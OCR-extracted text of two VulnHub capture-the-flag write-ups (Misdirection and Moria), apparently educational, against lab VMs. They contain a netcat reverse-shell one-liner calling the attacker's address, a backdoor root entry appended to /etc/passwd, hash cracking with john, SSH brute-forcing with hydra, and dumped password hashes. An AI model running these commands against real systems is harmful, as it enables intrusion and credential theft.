EnE;'lc #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86 64 x86 64

ifconfig

mtu 15608

inet6 fe8::
ether

dropped 0 overruns @ carrier @

1n: flans=73<lP_| OOPBACK RUNNTNG> mtu 65536

Figure 4: writeup.enumeration.steps.4.1

Findings
Open Ports

collisions 8



https://github.com/flozz/p0wny-shell

22/tcp | ssh |
80/tcp | http |
3306/tcp | mysql |
8080/tcp | http |
Files

http://192.168.92.187

Users

ssh: root, brexit

OpenSSH 7.6pl Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Rocket httpd 1.2.6 (Python 2.7.15rcl)

MySQL (unauthorized)

Apache httpd 2.4.29 ((Ubuntu))

:8080/debug
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Phase #2: Exploitation

1. We use the web shell to spawn a Bash reverse shell and catch it using a local netcat listener:

nc -nlvp 443
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.92.183 443 >/tmp/f

Figure 5: writeup.exploitation.steps.1.1

root@kali: # nc -nlvp 443
listening on [any] 443 ...

connect to [192.168.92.183] from (UNKNOWN) [192.168.92.187] 48274
/bin/sh: 0: can't access tty; job control turned off

$ id

uid=33 (www-data) gid=33(www-data) groups=33(www-data)

$

$ uname -a
Linux misdirection 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86 64 x86 64 x86 64 GNU/Linux

$
$ ifconfig
ens33: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.92.187 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 feB80::20c:29ff:fefd:f4ae prefixlen 64 scopeid 0x20<link=
ether 00:0c:29:f0:f4:a3e txqueuelen 1000 (Ethernet)
RX packets 847916 bytes 329992802 (329.9 MB)
RX errors ® dropped @ overruns @ frame @
TX packets 624984 bytes 125640093 (125.6 MB)
TX errors © dropped @ overruns ® carrier © collisions ©

Figure 6: writeup.exploitation.steps.1.2

Phase #2.5: Post Exploitation

www-data@misdirection> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-dataCmisdirection>
www-data@misdirection> uname
Linux misdirection 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 xz86_64 x86_64
s x86_64 GNU/Linuz
www-dataCmisdirection>
www-data@misdirection> ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.92.187 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 fe80::20c:29ff:fefO0:f4ae prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:f0:f4:ae txqueuelen 1000 (Ethernet)
RX packets 847916 bytes 329992802 (329.9 MB)
RX errors O dropped O overruns O frame O
TX packets 624984 bytes 125640093 (125.6 MB)
TX errors O dropped O overruns O carrier O collisions O
www-data@misdirection>
www-data@misdirection> users



18 Troot
19  brexit



10

Phase #3: Privilege Escalation

1. We find that the user brexit can run bash with sudo privileges. We also find that the /etc/passwd file has
write permissions for group brexit. Combining these two, we need to first switch to user brexit and then modify
the /etc/passwd file to add a new entry for a backdoor root user:

sudo -1
User www-data may run the following commands on localhost:
(brexit) NOPASSWD: /bin/bash
1ls -la /etc/passwd
-rwxrwxr-- 1 root brexit 1617 Jun 1 01:17 /etc/passwd
sudo -u brexit bash
mkpasswd -m sha-512 password saltsalt
$6$saltsalt$qFmFH. bQmmtXzyBY0s9v70icd2z4XSTecDz1B5KiA2/ |
< jctKu9YterLp8wwnSq.qc.eoxqOmSuNp2xS0ktL3nh/
echo -e |
o "hacker:\$6\$saltsalt\$qFmFH. bQmmtXzyBY0s9v70icd2z4XSIecDz1B5KiA2/ jctKu9YterLp8wwnSq. qc . eoxqOmSuNp2xSO.

o >>/etc/passwd
su hacker

www-data@misdirection: /var/www/html/debug$ sudo -1
Matching Defaults entries for www-data on localhost:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on localhost:
(brexit) NOPASSWD: /bin/bash
www-data@misdirection: /var/www/html/debug$

Figure 7: writeup.privesc.steps.1.1

www-data@misdirection:/var/www/html/debug$ sudo -u brexit bash
brexit@misdirection:/var/www/html/debug$

Figure 8: writeup.privesc.steps.1.2

brexit@misdirection: /var/www/himl/debug$ 1s -la fetc/passwd
-rwxrwxr-- 1 root brexit 1617 Jun 1 01:17 /etc/passwd
brexit@misdirection:/var/www/html/debug$

Figure 9: writeup.privesc.steps.1.3

root@kali: ~/toolbox/data/writeups/vulnhub.misdirectionl # mkpasswd -m sha-512 password saltsalt
$6%saltsaltsqFmFH. bQmmtXzyBY0s59v70icd2z4XSIecDz1B5KiA2/jctKudYterLp8wwnsg. qc.eoxqOmsSulNp2xs0ktL3nh/
root@kali: ~/toolbox/data/writeups/vulnhub.misdirectionl #

Figure 10: writeup.privesc.steps.1.4



root@kali: ~/toolbox/data/writeups/vulnhub.misdirectionl # echo -e "hacker:\$6\$saltsalt\$qFmFH. bQmtXzyBY@Ss9v70icd2z4XSTecDz1BSKiA2/jctKugYte rLpBwwnSq. qc. eoxqomSuNp2xSektL3nh/ :0:0:hacker: /root:/bin/bash

hacker:$6$saltsaltsqFmFH. bammtXzyBY0s9Iv70icd2z4XSTecDz1BSKiA2/ ctKuIYterLpgwwnsg . qc. eoxqOmSuNp2xsektL3nh/:0:0:hacker:/root:/bin/bash
root@kali: ~/toolbox/data/writeups/vulnhub.misdirectionl #

Figure 11: writeup.privesc.steps.1.5

brexit@misdirection:/var/www/html/debug$
<C.eoxqOmSuNp2xSektL3nh/:0:0:hacker:/root:/bin/bash" >>/etc/passwd
brexit@misdirection:/var/www/html/debug$

brexit@misdirection:/var/www/html/debug$

brexit@misdirection:/var/www/html/debugs cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin: /usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games: /usr/sbin/nologin

man:x:6:12:man:/var/cache/man: fusr/sbin/nologin

1p:x:7:7:1p:/var/spool/1lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin

uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin

proxy:x:13:13:proxy:/bin: /usr/sbin/nologin

www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve: /usr/sbin/nologin
syslog:x:102:106: : /home/syslog: /usr/sbin/nologin
messagebus:x:103:107: : /nonexistent: /usr/sbin/nologin

_apt:x:104:65534:: /nonexistent:/usr/sbin/nologin

1xd:x:105:65534:: /var/lib/1xd/:/bin/false

uuidd:x:106:110: : /run/uuidd: /usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq, , , : /var/lib/misc: /usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape: fusr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd: /usr/sbin/nologin
brexit:x:1000:1000:brexit:/home/brexit:/bin/bash
113:MySQL Server,,,:/nonexistent:/bin/false
1t t$qFmFH. bOmmtXzyBY0s Oic ecDz1B5KiA2/jctKudYterlp

brexit@misdirection:/var/www/html/debug$

Figure 12: writeup.privesc.steps.1.6

brexit@misdirection:/var/www/html/debug$ su hacker
Password:
root@misdirection: /var/www/html/debug#
root@misdirection: /var/www/html/debug#
root@misdirection: /var/www/html/debug# id
uid=0(root) gid=0(root) groups=0(root)
root@misdirection: /var/www/html/debug#
root@misdirection: /var/www/html/debug#
root@misdirection: /var/www/html/debug# uname -a
Linux misdirection 4.15.0-56-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86 64 x86 64 x86 64 GNU/Linux
root@misdirection: /var/www/html/debug#
root@misdirection: /var/www/html/debug#
root@misdirection: /var/www/html/debug# ifconfig
ens33: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.92.187 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 feBO::20c:29ff:fef0:f4ae prefixlen 64 scopeid Bx20<link=
ether P0:0c:29:f0:f4:ae txqueuelen 1000 (Ethernet)
RX packets 848477 bytes 330032930 (330.0 MB)
RX errors 8 dropped ® owverruns @ frame @
TX packets 625276 bytes 125668414 (125.6 MB)
TX errors @ dropped ©@ overruns @ carrier ® collisions ©

Figure 13: writeup.privesc.steps.1.7

2. We can view the file /root/root.txt to get the flag and complete the challenge:

10



cat /root/root.txt

root@misdirection:~# cat root.txt
Bd2c6222bTdd3701eBTalza9a9dcoc8ec
root@misdirection:~#

Figure 14: writeup.privesc.steps.2.1

11



Loot

Hashes
root:$6
< $PnbVvEMS$0cseJT81ZRrgrW1JIBpHI2562SPRxS6Rkh30VBkrbRBZgHBD 1wArL6Fcy05daqaon7waFKwSqbgbfIjFgzU. .. ...... ..

brexit:$6$51s7qYVw$XbT{XEV2acHRpOvmA7VTx0350LK9EGZ JzDGFInYaukD3eppHsn2P1ESMr . 9rRn/ |
< YYO70uiUskfkWPOLyR.................. ... ..

Flags

0d2c6222bfdd3701e0fal2a9a.......

References

[+] https://www.vulnhub.com/entry /misdirection-1,371/
[+] https://download.vulnhub.com/media/misdirection/Misdirection- Walkthrough.pdf
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[VulnHub] Moria: 1.1

Date: 17/0ct/2019
Categories: oscp, vulnhub, linux
Tags: privesc_ssh__knownhosts

Overview
This is a writeup for VulnHub VM Moria: 1.1. Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#187"

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[vulnHub] Moria: 1.1

192.168.92.188

¥
‘ Phase #1: Enumeration

¥

21/tcp < 22/tcp L > 80/tcp

¥ ¥ ¥
possible username from ftp banner: Balrog ‘ http://192.168.92.188/Q1Vrakw4fbIkXau9zkAPNGzviT3UKntl | | http://192.168.92.188/w/h/i/s/p/e/r/the_abyss/

Y ¥

usernames and password hashes| hints at port knocking and sniffing
¥ ¥

Phase #2: Exploitation |sniff1ng reveals possible port sequence: 77, 101, 108, 108, 111, 110‘

Y ¥

converts to string: Mellon ‘port knocking makes no dlfference‘

crack hashes using john

¥ Y

validate cracked hashes using hydra ‘f‘cp credential: Balrog/Mellon

¥

ssh (0ri)

’ Y
Phase #3: Privilege Escalation

Y
known_hosts: entry for 127.0.0.1

¥ "
ssh (root)

¥

/root/flag. txt |

Figure 2: writeup.overview.killchain


https://www.vulnhub.com/entry/moria-11,187/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=privesc_ssh_knownhosts&unscoped_q=privesc_ssh_knownhosts
https://www.vulnhub.com/entry/moria-11,187/
https://github.com/7h3rAm/machinescli

10

11

12

13

14

16

17

18

19

20

21

22

23

24

25

26

Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Frt Oct 11 15:31:50 2019 as: mmap —-vv —--reason —Pn -sV -sC

» ——version-all —olN

s /root/toolboz/writeups/vulnhub.moriall/results/192.168.92.188/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/vulnhub.moriall/results/192.168.92.188/scans/zml/_quick_tcp_nmap.zml
o 192.168.92.188

Nmap scan report for 192.168.92.188

Host is up, received arp-response (0.0019s latency).

Scanned at 2019-10-11 15:32:02 PDT for 15s

Not shown: 997 closed ports

Reason: 997 resets

PORT  STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 2.0.8 or later
22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1 (protocol 2.0)

| ssh-hostkey:

| 2048 47:b5:ed:e3:£9:ad:96:88:c0:£2:83:23:7f:a3:d3:4f (RSA)

| ssh-rsa

- AAAAB3NzaClyc2EAAAADAQABAAABAQC5gdKNO3UCeDGX36RIZSkcVHVWknoFBZe2IT96Gep79sECS7G2p076RFAOCIMruOEK9EQKhM
- +fTVGEN84S+iPmUCwwgIMjR5hoYCAJFAINPE27ZguVbnnN+i1491TDI0/ cN92Uut/T70C3bnt1spt YON+£ROKOAKLE |
o +K+TT1zX2BZOw990Mn9ytt3kSi4DNaonn9GDUthquH/eJWmFNTSFSM2+J

< GHOAZKcOIchighxf3WHoGOn1iH8XdV6ZNpjHA8jGCYVcPnkTk42nP7E9Q17mabsi+L3Ugq3

| 256 85:cd:a2:d8:bb:85:f6:0f:4e:ae:8c:aa:73:52:ec:63 (ECDSA)

| ecdsa-sha2-nistp256 AAAAEQVjZHNhLXNoYTItbmldeAyNTYAAAAIbmldeAyNTYAAABBBCuLX/J

< CWxsOhekXJRxQqQH/Yx0SD+XgUpmlmWN1Y8cvmCYJs10h4vE+I6fmMwCdBf i4W061RmFc+vMAL1QUYNZzO=

| 256 b1:77:7e:08:03:20:84:£f8:f4:5d:£9:8e:d5:85:09:34 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAILxa4UjJJ2naeaBginol05UHAS/rBOWh5mtDLQuNUYaN

80/tcp open http syn-ack ttl 64 Apache httpd 2.4.6 ((Cent0S) PHP/5.4.16)

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.6 (Cent0S) PHP/5.4.16

| _http-title: Gates of Moria

MAC Address: 00:0C:29:84:7D:D1 (VMware)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap dome at Fri Oct 11 15:32:18 2019 -- 1 IP address (1 host up) scanned in 28.21 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports
# Port Protocol Service Scans

1. 21/tep ftp ttl 64 vsftpd 2.0.8 or later ./results/192.168.92.188/scans/tcp_21_ftp_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We find a possible username from FTP banner:


https://github.com/Tib3rius/AutoRecon

o oA W N e

PORT  STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 2.0.8 or later
| _banner: 220 Welcome Balrog!

4. We find a few interesting directories from gobuster scan. Exploring the http://192.168.92.188:80/w link, we
follow it till the http://192.168.92.188/w/h/i/s/p/e/r/the_abyss/ link which shows some random text:

http://192.168.92.188:80/cgi-bin/ (Status: 403) [Size: 210]
http://192.168.92.188:80/cgi-bin/.html (Status: 403) [Size: 215]
http://192.168.92.188:80/index.php (Status: 200) [Size: 85]
http://192.168.92.188:80/index.php (Status: 200) [Size: 85]
http://192.168.92.188:80/w (Status: 301)
http://192.168.92.188/w/h/i/s/p/e/r/the_abyss/

New Tab ¥ | 192.168.92.188/w/h/ils/ple/l X

< )= @ @ 192.168.92.188/w/h/i/s/ple/r/the_abyss/
Flinks @ YouTube @ Tom Platz Destroys Bro.. @) YouTube
"Knock knock"

Figure 4: writeup.enumeration.steps.4.1

New Tab X | 192.168.92.188/w/hfi/s/p/e/i X

&« = @ | @ 192.168.92.188/w/h/ifs/p/elrithe _abyss/
ESlinks @ YouTube @ Tom Platz Destroys Bro.. & YouTube

Nain:"Will the human get the message?”

Figure 5: writeup.enumeration.steps.4.2

5. This link shows text that seems to be hinting towards port knocking, but we don’t know the ports to knock on.
Upon further exploration, it seems one of the text also hints towards 1istening or sniffing that could prove useful:

MNew Tab X | 192.168.92.188/w/hfi/sip/e/ X
& | — i @ 192.168.92.188/w/h/i/s/p/elr/the _abyss/
links @& YouTube @ Tom Platz Destroys Bro.. & YouTube

Dain:"Is that human deaf? Why is it not listening?"
Figure 6: writeup.enumeration.steps.5.1

6. We run wireshark with a display filter ip.addr == 192.168.92.188 to limit noise. In some time we see a
bunch of SYN packets being sent to us from the target system. These packets are sent to following ports: 77, 101,



108, 108, 111, 110

[n]ipaddr == 192.168.92.188

No. Time Source Destination Protecol Length Info
509 159.82810.. 192.168.92.188 192.168.92.179

92.1

Figure 7: writeup.enumeration.steps.6.1

7. We try to knock these ports on the target system but nothing changed. Upon further exploration, it is found
that the sequence actually is the ASCII values for a string Mellon that could be the password for the only known
username we have as of now: Balrog

nmap -Pn --host-timeout 100 --max-retries 0 -sS -p 77, 101, 108, 108, 111, 110
python -c 'print "".join([chr(x) for x in [77, 101, 108, 108, 111, 110]1]1)'
Mellon

root@kali: ~/toolbox/data/writeups/vulnhub.moriall # knock 192.168.92.188 77,161,168,188,111,118

Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-17 13:16 PDT

WARNING: Duplicate port number(s) specified. Are you alert enough to be using Nmap? Have some coffee or Jolt(tm).
Nmap scan report for 192.168.92.188

Host is up (©.80036s latency).

PORT STATE SERVICE

77/tcp closed priv-rje

101/tcp closed hostname

108/tcp closed snagas

110/tcp closed pop3

111/tcp closed rpcbind

MAC Address: 80:0C:29:84:7D:D1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in ©.24 seconds
Starting Nmap 7.7@ ( https://nmap.org ) at 2019-18-17 13:16 PDT
Nmap scan report for 192.168.92.188

Host is up (©.80016s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

MAC Address: 00:0C:29:84:7D:D1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in ©.31 seconds
root@kali: ~/toolbox/data/writeups/vulnhub.moriall #

Figure 8: writeup.enumeration.steps.7.1

root@kali: ~/toolbox/data/writeups/vulnhub.moriall # python -c 'print "".join([chr(x) for x in [77, 101, 108, 108, 111, 118]])'
Mellon
root@kali: ~/toolbox/data/writeups/vulnhub.moriall #

Figure 9: writeup.enumeration.steps.7.2
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8. We tried to connect to FTP service with the Balrog/Mellon credentials but for some reason it didn’t work:

ftp 192.168.92.188

Balrog
Mellon

root@kali: ~/toolbox/data/writeups/vulnhub.moriall # ftp 192.168.92.188
Connected to 192.168.92.188.

220 Welcome Balrog!

Mame (192.168.92.188:root): Balrog

331 Please specify the password.

Password:

530 Login incorrect.

Login failed.

ftp= 221 Goodbye.

root@kali: -~/toolbox/data/writeups/vulnhub.moriall #

Figure 10: writeup.enumeration.steps.8.1

9. From public writeups we find that the FTP user has access to the web root directory and this directory has an
interesting file: http://192.168.92.188/Q1VrakW4fbIkXau9zkAPNGzviT3UKnt1l

New Tab X !192.lEB.QE.lBBﬁw.-"hIiIs!pIE. X | 192.168.92.188/QlVrakW4il X

& = @ | @ 192.168.92.188/Ql\VrakKWafblkXau9zkAPNGzviT 3UKntL/

B links

Prisoner's name Passkey

Balin c2d8960157fc8540f6d5d66594e165e0
Qin 727a279d913fhab77c490102b135e51e
Ori 8c3c3152a5c64ffh683d78efc3520114
Maeqglin 6ba94d6322{53f30acadf34960203703
Fundin c789%ec9faelcd07adfc02930a39486al
Main fec21f5c7dcf8e5e54537cidad2disfe
Dain 6a113db1fd25c5501ec3a5936d817¢c29
Thrain 7dh5040c351237e8332bfbba757a1019
Telchar dd272382909a4f51163c77dab356¢06f

Figure 11: writeup.enumeration.steps.9.1



New Tab X | 192.168.92.188/w/hfifs/p/ell X | 192.168.92.188/QlVrakW4{l X | http://192.168.92.188/QlVra X

“~ = {¢ @ view-source:http://192.168.92.188/QIVrakWafblkXau9zkAPNGzviT3UKntl
5 links

<td class="tg-ywsl"=c2d8960157fc8540T6d5d66594e16560</td>
</tr=
<tr=

<td class="tg-ywil"=0in</td>

<td class="tg-ywil">7273279d913fbab77c490102b135e51e</td>
</tr>
<tr=

<td class="tg-ywdl">0ri</td>

<td class="tg-ywsl"=Bc3c3152a5c64ffb683d78efc3520114</td>
</tr=
<tr=>

<td class="tg-ywdl">Maeglin</td>

<td class="tg-ywil">6ba94d6322f53f30acadf34960203703</td>
</tr>
<tr=

<td class="tg-ywdl">Fundin</td>

<td class="tg-ywsl">c789ec9farlcdd7adfc02930a39486a1</td>
=/tr=
<tr=>

<td class="tg-ywil"=Nain</td>

<td class="tg-ywil">fec2lf5c7dcf8e5e54537cfdad2df5fe</td>
</tr>
<tr=

<td class="tg-ywdl">Dain</td>

<td class="tg-ywsl"=6a113dblfd25¢5501ec3a59360d817c29</td>
=/tr=
<tr=>

<td class="tg-ywsl">Thrain</td=

<td class="tg-ywil">7db5040c351237e8332bfbba757a1019</td>
</tr>
<tr=

<td class="tg-ywdl">Telchar</td>

<td class="tg-ywsl">dd27238290934751163c77da6356cchf</td>
=/tr=

</table>

D5 (MD5 {Password) . Salt)
=

Figure 12: writeup.enumeration.steps.9.2

10. This file lists several usernames and what looks like password hashes. The page source also reveals the password
salts and hash format as MD5(MD5 (Password) .Salt). We find a good reference for john’s dynamic hash variants.
We create a hashes file by adding usernames, hashes and salts to it. We can now use john to crack these hashes:

1 john --format=dynamic_6 hashes


https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC

root@kali: ~/toolbox/data/writeups/vulnhub.moriall # john --format=dynamic_6 hashes

Using default input encoding: UTF-8

Loaded 9 password hashes with 9 different salts (dynamic & [md5(md5{$p).$s) 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status

magic (Telchar)
abcdef (Dain)
warrior (Nain)
fuckoff (Maeglin)
spanky (ori)
flower (Balin)
rainbow (0in)
darkness (Thrain)
hunterz (Fundin)
9g 0:00:00:00 DONE 2/3 (2019-10-17 13:31) 90.00g/s 363660p/s 514860c/s 514860C/5s PHOENIX..spider2
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali: ~/toolbox/data/writeups/vulnhub.moriall #
Figure 13: writeup.enumeration.steps.10.1
Findings
Open Ports
21/tcp | ftp | vsftpd 2.0.8 or later
22/tcp | ssh | OpenSSH 6.6.1 (protocol 2.0)
80/tcp | http | Apache httpd 2.4.6 ((Cent0S) PHP/5.4.16)
Files

http://192.168.92.188/Q1VrakW4fbIkXau9zkAPNGzviT3UKntl

Users

ftp: Balrog



Phase #2: Exploitation

1. We are able to successfully crack hashes for all users from this list and can now use hydra to check which
username/password combo actually works. We find that the Ori/spanky credentials allow us SSH access to the
target system:

hydra -C creds 192.168.92.188 -t 4 ssh
ssh 0ri@192.168.92.188

root@kali: ~/toolbox/data/writeups/vulnhub.moriall # hydra -C creds 192.168.92.188 -t 4 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2019-10-17 13:33:14

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9 login tries, ~3 tries per task

[DATA] attacking ssh://192.168.92.188:22/

[22][ 1 host: login: password

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2019-10-17 13:33:28

root@kali: ~/toolbox/data/writeups/vulnhub.moriall #

Figure 14: writeup.exploitation.steps.1.1

root@kali: -/toolbox/data/writeups/vulnhub.moriall # ssh 0ri@192.1658.92.188
0Ori@192.168.92.188's password:
Last login: Sun Mar 12 22:57:089 2017
-bash-4.2% id
uid=1882(0ri) gid=1083(notBalreg) groups=1803(notBalrog)
-bash-4.24%
-bash-4.2% uname -a
Linux Moria 3.10.6-514.el7.x86 64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86 64 x86 64 x86 64 GNU/Linux
-bash-4.2%
-bash-4.24% ifconfig
ens33: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.92.188 netmask 255.255.255.6 broadcast 192.168.92.255
ineté fe80::deef:db78:6f77:ebdf prefixlen 64 scopeid 0x28<link=
ether 80:0c:29:84:7d:d1 txqueuelen 10088 (Ethernet)
RX packets 125 bytes 13548 (13.2 KiB)
RX errors @ dropped © overruns @ frame @
TX packets 87 bytes 11999 (11.7 KiB)
TX errors @ dropped © overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @xle@<host>
loop txqueuelen 1 (Local Loopback)
RX packets 68 bytes 5524 (5.3 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 68 bytes 5524 (5.3 KiB)
TX errors © dropped 0 overruns @ carrier 8 collisions @

-bash-4.2%

Figure 15: writeup.exploitation.steps.1.2

Phase #2.5: Post Exploitation

Ori@Moria> id

1uid=1002(0ri) gid=1003(notBalrog) groups=1003(notBalrog)

Ori@Moria>

OriCMoria> uname

Linux Moria 3.10.0-514.el17.x86_64 #1 SMP Tue Nov 22 16:42:41 UIC 2016 x86_64 x86_64 x86_64
o GNU/Linuz

Ori@Moria>
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Ori@Moria> ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.92.188 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 fe80::deef:db78:6f77:ebdf prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:84:7d:d1 txqueuelen 1000 (Ethernet)
RX packets 125 bytes 13540 (13.2 KiB)
RX errors O dropped O overruns O frame O
TX packets 87 bytes 11999 (11.7 KiB)
TX errors O dropped O overruns O carrier O collisions O
Ori@Moria>
OriCMoria> users
abatchy
Balrog
Ori



Phase #3: Privilege Escalation

1. We find that the user Ori has an entry for localhost within the .ssh/known_hosts file. This means, if local
SSH configuration allows root user login and user Ori’s public key is in the authorized_keys of root user, we can
SSH as root to localhost using Ori’s public key:

ssh -i id_rsa root©192.168.92.188

-bash-4.2$ 1s -la .ssh/

total 12

notBalrog 57 Mar 12 2017 .
notBalrog 55 Mar 12 2017 .

i notBalrog 1679 Mar 12 2017 id rsa

i notBalrog 392 Mar 12 2017 id_rsa.pub
notBalrog 171 Mar 12 2017 known_hosts

-bash-4.2%

-bash-4.2% 1s -la .ssh/known_hosts

-rw-r--r-- 1 0ri notBalrog 171 Mar 12 20817 .ssh/known hosts
-bash-4.2$

-bash-4.2%

-bash-4.2¢% cat .ssh/known_hosts

127.0.9.1 ecdsa-sha2-nistp256 AAAAE2V]ZHNhLXNeYTItbmlzdHAYNTYAAAAIbmMLZdHAYNTYAAABBBCULX/CWxsOhekXIRxQQOH/Yx0SD+XgUpmimWN1Y8cvmCYIs10h4vE+I6TmMwCdBTi4We61RmFC+VMALLQUYNZO=
-bash-4.2$

Figure 16: writeup.privesc.steps.1.1

-bash-4.2% ssh -i id _rsa root@l27.0.0.1
Warning: Identity file id rsa not accessible: No such file or directory.
Last login: Fri Apr 28 18:01:27 2017
[root@Moria ~]#
[root@Moria ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@Moria ~]#
[root@Moria ~]# uname -a
Linux Moria 3.10.0-514.el7.x86 64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
[root@Moria ~]#
[root@Moria ~]# ifconfig
ens33: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.92.188 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 feB0::deef:db78:6f77:ebdf prefixlen 64 scopeid @x28<link=
ether 00:0c:29:84:7d:d1l txqueuelen 1000 (Ethernet)
RX packets 493 bytes 45649 (44.5 KiB)
RX errors @ dropped @ overruns @ frame ©
TX packets 277 bytes 34857 (34.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING>= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid O0xl@<host=>
loop txqueuelen 1 (Local Loopback)
RX packets 175 bytes 19814 (19.3 KiB)
RX errors @ dropped @ overruns @ frame ©
TX packets 175 bytes 19814 (19.3 KiB)
TX errors © dropped @ overruns @ carrier @ collisions @

[root@Moria ~]#

Figure 17: writeup.privesc.steps.1.2

2. We gain elevated access using the above technqiue and can now view the flag to complete the challenge:
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1 cat /root/flag.txt

[root@Moria ~]# cat flag.txt

“All that is gold does not glitter,

Not all those who wander are lost;

The old that is strong does not wither,
Deep roots are not reached by the frost.

From the ashes a fire shall be woken,
A light from the shadows shall spring;
Renewed shall be blade that was broken,
The crownless again shall be king."

All That is Gold Does Not Glitter by J. R. R. Tolkien

I hope you suff.. enjoyed this VM. It wasn't so hard, was it?
-Abatchy

[root@Moria ~]#

Figure 18: writeup.privesc.steps.2.1
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Loot
Hashes

root:$6

o $P7élNng$fNzyy40quR1ANJXTgbpzp4U42JXG1qJ551NV1ONVJoX5UWjtckWDOoncTOjOlqObyWhFu2y3udHVpHa ...........
abatchy:$6$xEq/ |

< 159Q$ScuKnynbwTBdFA4B9w60qKxQpWPGpofi59McVuP6T1SADKhNy4n330vkkOhwZQkx72XriPSIrc2ubr160. . ... ... oLt
Balrog:$6,

< $J6kuCfxq$L5ALsSHRY£0uObVVIMbW3 . VZOUVEaKSWhfPIq5wXUFV407tpvH8Zx7WdbJeXgdWoPo9LU8eIznf0d44qoF. .. ..... ...
